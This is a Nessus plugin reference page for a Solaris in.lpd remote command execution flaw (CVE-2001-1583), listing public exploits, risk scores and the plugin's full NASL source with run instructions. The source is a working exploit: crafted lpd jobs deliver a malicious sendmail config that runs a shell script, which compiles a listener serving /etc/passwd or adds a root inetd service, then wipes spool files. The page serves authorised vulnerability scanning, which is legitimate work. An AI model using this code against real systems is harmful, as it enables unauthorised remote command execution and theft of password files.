Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution - Nessus

Critical   Plugin ID: 11513

This page contains detailed information about the Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 11513
Name: Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution
Filename: solaris_lpd_env_cmd_exec.nasl
Vulnerability Published: 2001-08-31
This Plugin Published: 2003-04-03
Last Modification Time: 2021-01-14
Plugin Version: 1.28
Plugin Type: remote
Plugin Family: Gain a shell remotely
Dependencies: find_service1.nasl

Vulnerability Information


Severity: Critical
Vulnerability Published: 2001-08-31
Patch Published: N/A
CVE [?]: CVE-2001-1583
CPE [?]: N/A

Synopsis

The remote lpd daemon is vulnerable to arbitrary command execution.

Description

The remote lpd daemon is vulnerable to an environment error that could allow an attacker to execute arbitrary commands on this host.

Nessus uses this vulnerability to retrieve the password file of the remote host although any command could be executed.

Solution

None at this time. Disable this service.

Public Exploits


Target Network Port(s): 515
Target Asset(s): Services/lpd
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution vulnerability:

  1. Metasploit: exploit/solaris/lpd/sendmail_exec
    [Solaris LPD Command Execution]
  2. Exploit-DB: exploits/solaris/remote/9921.rb
    [EDB-9921: Solaris 8.0 LPD - Command Execution (Metasploit)]
  3. Exploit-DB: exploits/solaris/remote/16322.rb
    [EDB-16322: Solaris LPD - Command Execution (Metasploit)]
  4. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)

Go back to menu.

Plugin Source


This is the solaris_lpd_env_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2003-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

# This script attempts to compile a program which will send
# us /etc/passwd. If no compiler is installed on the remote system,
# then it adds a service (id) in inetd.conf, on port 1.
#
# Ref: remorse [http://web.archive.org/web/20040506190754/http://www.geocities.com/entrelaspiernas/], by ron1n <[email protected]>

include( 'compat.inc' );

if(description)
{
  script_id(11513);
  script_version("1.28");
  script_cve_id("CVE-2001-1583");
  script_bugtraq_id(3274);

  script_name(english:"Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution");
  script_summary(english:"Reads the remote password file, thanks to lpd");

  script_set_attribute(
    attribute:'synopsis',
    value:'The remote lpd daemon is vulnerable to arbitrary command execution.'
  );

  script_set_attribute(
    attribute:'description',
    value:'The remote lpd daemon is vulnerable to an
environment error that could allow an attacker
to execute arbitrary commands on this host.

Nessus uses this vulnerability to retrieve the
password file of the remote host although any
command could be executed.'
  );

  script_set_attribute(
    attribute:'solution',
    value:'None at this time. Disable this service.'
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Solaris LPD Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(
    attribute:'see_also',
    value:'http://seclists.org/bugtraq/2001/Aug/437'
  );

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/04/03");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/08/31");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/14");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK); # Intrusive?
  script_copyright(english:"This script is Copyright (C) 2003-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"Gain a shell remotely");
  script_require_ports("Services/lpd", 515);
  script_dependencies("find_service1.nasl");

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("data_protection.inc");

CTRL = 2;
DATA = 3;
MAGIC_PORT = get_host_open_port();
if(MAGIC_PORT <= 1 || MAGIC_PORT == 139 || MAGIC_PORT == 445 )MAGIC_PORT = 39876;
else MAGIC_PORT --;

function intro(soc)
{
 local_var ack;
 send(socket:soc, data:raw_string(0x2));
 send(socket:soc, data:crap(data:"/", length:1010));
 send(socket:soc, data:string("NESSUS\n"));
 ack = recv(socket:soc, length:1);
 if(ack == NULL)exit(0);
}


function xfer(soc, type, buf, dst)
{
 local_var r, req;

 req = raw_string(type) + string(strlen(buf), " ", dst, "\n");
 send(socket:soc, data:req);
 r = recv(socket:soc, length:1);
 if(r == NULL)exit(0);
 send(socket:soc, data:buf);
 send(socket:soc, data:raw_string(0));
 r = recv(socket:soc, length:1);
 if(r == NULL)exit(0);
}



mailcf = "V8

Ou0
Og0
OL0
Oeq
OQ/tmp

FX|/bin/sh /var/spool/lp/tmp/<REPLACEME>/script

S3
S0
R$+     $#local $@blah $:blah
S1
S2
S4
S5

Mlocal  P=/bin/sh, F=S, S=0, R=0, A=sh /var/spool/lp/tmp/<REPLACEME>/script
Mprog   P=/bin/sh, F=S, S=0, R=0, A=sh /var/spool/lp/tmp/<REPLACEME>/script";



script = '
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/ucb:/usr/local/bin:/usr/local/sbin:/usr/xpg4/bin:/opt/sfw/bin:/usr/ccs/bin
export PATH
cd /tmp

where=`which gcc 2>&1 | grep -v "no $1"`
test -n "$where" && CC=gcc
test -z "$CC" && {
	where=`which cc 2>&1 | grep -v "no $1"`
	test -n "$where" && CC=cc
	if [ -z "$CC" ]; then  echo "tcpmux stream tcp nowait root /usr/bin/id id" > ic ; /usr/bin/inetd -s ic; rm ic; exit ; fi
	}
cat > c.c << __EOF__
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
int main(int argc, char **argv)
{
int sd, cd;
int fd;
char buf[4096];
int so = 1;

struct sockaddr_in saddr;
memset(&saddr, 0, sizeof saddr);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(MAGIC_PORT);
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
sd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, &so, sizeof(so));
bind(sd, (struct sockaddr *) &saddr, sizeof saddr);
listen(sd, 1);
cd = accept(sd, NULL, NULL);

fd = open("/etc/passwd", O_RDONLY);
if(fd < 0)write(cd, "exploit worked", strlen("exploit worked"));
else {read(fd, buf, sizeof(buf) - 1);close(fd);}
buf[sizeof(buf) - 1] = 0;
write(cd, buf, strlen(buf));
shutdown(cd, 2);
close(cd);
exit(0);
}
__EOF__

$CC -o c c.c -lsocket
./c &
rm -f c.c c
rm -rf /var/spool/lp/tmp/*
rm -rf /var/spool/lp/requests/*';


control =
'Hnessus
P\\"-C/var/spool/lp/tmp/<REPLACEME>/mail.cf\\" nobody
fdfA123config
fdfA123script';


script = ereg_replace(string:script, pattern:"MAGIC_PORT", replace:string(MAGIC_PORT));
mailcf  = ereg_replace(string:mailcf, pattern:"<REPLACEME>", replace:this_host_name());
control = ereg_replace(string:control, pattern:"<REPLACEME>", replace:this_host_name());


port = get_service(svc:"lpd", default: 515, exit_on_fail: 1);

soc = open_priv_sock_tcp(dport:port);
if(!soc)exit(1, "Could not connect to TCP port "+port+".");

soc1 = open_priv_sock_tcp(dport:port);
if(!soc1)exit(1, "Could not connect to TCP port "+port+".");

intro(soc:soc);
xfer(soc:soc, type:CTRL, buf:control, dst:"cfA123nessus");
xfer(soc:soc, type:DATA, buf:mailcf, dst:"mail.cf");
xfer(soc:soc, type:DATA, buf:script, dst:"script");
send(socket:soc, data:raw_string(2) + '!\n');
close(soc);


intro(soc:soc1);
xfer(soc:soc1, type:CTRL, buf:control, dst:"cfA123nessus");
xfer(soc:soc1, type:DATA, buf:mailcf, dst:"dfA123config");
xfer(soc:soc1, type:DATA, buf:script, dst:"dfA123script");
close(soc1);


sleep(10);

soc = open_sock_tcp(MAGIC_PORT);
if(!soc){
 soc = open_sock_tcp(1);
 if(soc){
 	r = recv_line(socket:soc, length:4096);
 	if(egrep(pattern:"uid=[0-9].*gid=[0-9]", string:r))security_hole(port);
	}
  exit(0);
}

r = recv(socket:soc, length:4096);
if(r)
{
 if("exploit worked" >< r )security_hole(port);  # Worked but could not open /etc/passwd...
 else if(egrep(pattern:".*root:.*:0:", string:r))
 {
 r = data_protection::redact_etc_passwd(output:r);
 report = "The remote lpd daemon is vulnerable to an
environment error which may allow an attacker
to execute arbitrary commands on this host.

We used this vulnerability to retrieve an extract of /etc/passwd  :

" + r;


  security_hole(port:port, extra:report);
 }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/solaris_lpd_env_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\solaris_lpd_env_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/solaris_lpd_env_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Gain a shell remotely plugin family.
  6. On the right side table select Solaris in.lpd Crafted Job Request Arbitrary Remote Command Execution plugin ID 11513.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl solaris_lpd_env_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a solaris_lpd_env_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - solaris_lpd_env_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state solaris_lpd_env_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 109176 - Oracle Solaris Critical Patch Update : apr2018_SRU11_3_31_6_0 (Spectre)
  • 135667 - Oracle Solaris Critical Patch Update : apr2020_SRU11_3_36_20_0
  • 135668 - Oracle Solaris Critical Patch Update : apr2020_SRU11_4_15_5_0
  • 80936 - Oracle Solaris Critical Patch Update : jan2015_SRU11_1_11_4_0
  • 80937 - Oracle Solaris Critical Patch Update : jan2015_SRU11_1_15_4_0
  • 88003 - Oracle Solaris Critical Patch Update : jan2016_SRU11_3_4_5_0
  • 121223 - Oracle Solaris Critical Patch Update : jan2019_SRU11_4_3_5_0 (Foreshadow) (Spectre)
  • 132997 - Oracle Solaris Critical Patch Update : jan2020_SRU11_4_16_4_0
  • 111188 - Oracle Solaris Critical Patch Update : jul2018_SRU11_3_31_6_0
  • 126764 - Oracle Solaris Critical Patch Update : jul2019_SRU11_3_36_13_0
  • 126768 - Oracle Solaris Critical Patch Update : jul2019_SRU11_4_8_5_0
  • 138539 - Oracle Solaris Critical Patch Update : jul2020_SRU11_4_21_69_0
  • 151922 - Oracle Solaris Critical Patch Update : jul2021_SRU11_3_36_26_0
  • 100997 - Solaris 11 : Multiple Kernel Vulnerabilities
  • 76829 - Oracle Solaris Critical Patch Update : oct2012_SRU10_5
  • 130006 - Oracle Solaris Critical Patch Update : oct2019_SRU11_3_36_15_0
  • 130007 - Oracle Solaris Critical Patch Update : oct2019_SRU11_4_12_5_0
  • 141772 - Oracle Solaris Critical Patch Update : oct2020_SRU11_3_36_23_0
  • 141773 - Oracle Solaris Critical Patch Update : oct2020_SRU11_4_24_75_2
  • 142712 - Oracle Solaris PAM parse_user_name() buffer overflow (CVE-2020-14871)
  • 10951 - Solaris cachefsd Multiple Vulnerabilities (ESCROWUPGRADE)
  • 11841 - Solaris sadmind AUTH_SYS Credential Remote Command Execution
  • 10659 - Solaris snmpXdmid Long Indication Event Overflow (ELVISCICADA)
  • 24323 - Solaris 10 Forced Login Telnet Authentication Bypass
  • 10684 - Solaris rpc.yppasswdd username Remote Overflow
  • 53641 - HP Data Protector Remote Command Execution
  • 11023 - Linux lpd DVI Print Filter (dvips) Remote Command Execution
  • 10522 - LPRng use_syslog() Remote Format String Arbitrary Command Execution
  • 21673 - SpamAssassin spamd Crafted Message Arbitrary Command Execution
  • 35308 - TCL Shell (tclsh) Arbitrary Command Execution
  • 10709 - BSD Based telnetd telrcv Function Remote Command Execution
  • 31419 - Versant Connection Services Daemon Arbitrary Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file solaris_lpd_env_cmd_exec.nasl version 1.28. For more plugins, visit the Nessus Plugin Library.

Go back to menu.